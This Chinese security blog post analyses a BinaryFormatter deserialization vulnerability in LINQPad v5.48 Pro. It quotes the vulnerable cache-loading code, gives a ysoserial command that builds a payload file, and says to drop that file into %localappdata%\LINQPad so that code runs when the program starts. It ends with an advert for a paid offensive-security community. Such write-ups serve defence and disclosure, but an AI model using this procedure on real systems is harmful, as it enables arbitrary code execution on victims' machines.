01阅读须知
此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他方面
02漏洞背景
LINQPad 是一款广泛使用的 .NET 交互式编辑工具,尤其在开发和调试 LINQ 查询时被很多研发高度依赖。然而,在 LINQPad v5.48.00(专业版)中,存在一个严重的 反序列化漏洞,攻击者可利用该漏洞实现任意代码执行。这个漏洞的根源在于不安全地使用 BinaryFormatter 对外部输入数据进行反序列化。
03漏洞原理
LINQPad 反序列化漏洞 AutoRefManager 类的 PopulateFromCache 方法被 AutoRefManager.Initialize 调用。在此方法中,LINQPad 会从磁盘路径 %localappdata%\LINQPad\AutoRefCache46.1.dat 加载缓存数据。以下是核心代码的关键部分:
private static bool PopulateFromCache()
{
if (!File.Exists(AutoRefManager._cachePath))
return false;
try
{
Dictionary<string, string[]> dictionary;
using (FileStream serializationStream = File.OpenRead(AutoRefManager._cachePath))
dictionary = (Dictionary<string, string[]>) new BinaryFormatter().Deserialize((Stream) serializationStream);
if (dictionary == null)
return false;
// 数据处理逻辑
TypeResolver.AutoRefCaseLookup = dictionary.Keys.ToLookup<string, string>(s => s, StringComparer.OrdinalIgnoreCase);
TypeResolver.AutoRefLookup = AutoRefManager._refLookup = dictionary;
return true;
}
catch
{
return false;
}
}
LINQPad 从固定路径 %localappdata%\LINQPad\AutoRefCache46.1.dat 加载反序列化数据。攻击者只需将恶意构造的 AutoRefCache46.1.dat 文件放入此目录,再经过 BinaryFormatter.Deserialize 方法会对外部输入的二进制数据进行反序列化,而没有对输入数据进行验证。这使得攻击者可以构造恶意的二进制数据,利用反序列化触发任意代码执行。
03漏洞利用
利用反序列化漏洞,攻击者可借助 ysoserial 工具构造恶意负载。ysoserial 是一个专门用来生成反序列化攻击有效负载的工具。
3.1 生成Payload
生成Payload使用 ysoserial 工具生成 BinaryFormatter 格式的有效负载,指定执行 calc.exe:
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c calc.exe -o raw > e:\AutoRefCache46.1.dat
指定反序列化格式为 BinaryFormatter,利用 TypeConfuseDelegate 触发任意代码执行。
3.2 复制文件到缓存目录
将生成的 AutoRefCache46.1.dat 文件复制到受影响的路径,具体如下所示。
%localappdata%\LINQPad\AutoRefCache46.1.dat
启动 LINQPad 专业版,触发 AutoRefManager.PopulateFromCache 方法,反序列化恶意数据,执行 calc.exe,如下图所示。
04漏洞修复
该漏洞已在 LINQPad v5.52.01 中修复,用户应尽快将 LINQPad 升级到最新版本(v5.52.01 及以上),以避免该漏洞被利用。值得注意的是,漏洞不影响免费版及未经授权的版本,也因此我们测试的时候本地安装的是免费版本,因此未触发漏洞。如下图所示。
05.NET安全星球
dot.Net安全矩阵星球已成为中国.NET安全领域最知名、最活跃的技术知识库之一,从.NET Framework到.NET Core,从Web应用到PC端软件应用,无论您是初学者还是经验丰富的开发人员,都能在这里找到对应的安全指南和最佳实践。
星球汇聚了各行业安全攻防技术大咖,并且每日分享.NET安全技术干货以及交流解答各类技术等问题,社区中发布很多高质量的.NET安全资源,可以说市面上很少见,都是干货。
星球文化始终认为授人以鱼不如授人以渔!加入星球后可以跟星主和嘉宾们一对一提问交流,20+个专题栏目涵盖了点、线、面、体等知识面,助力师傅们快速成长!其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。
我们倾力打造专刊、视频等配套学习资源,循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。
.NET 免杀WebShell
.NET 反序列化漏洞
.NET 安全防御绕过
.NET 内网信息收集
.NET 本地权限提升
.NET 内网横向移动
.NET 目标权限维持
.NET 数据外发传输
这些阶段所涉及的工具集不仅代表了当前.NET安全领域的最前沿技术,更是每一位网络安全爱好者不可或缺的实战利器。
文章涉及的工具已打包,请加/入/后下/载:https://wx.zsxq.com/group/51121224455454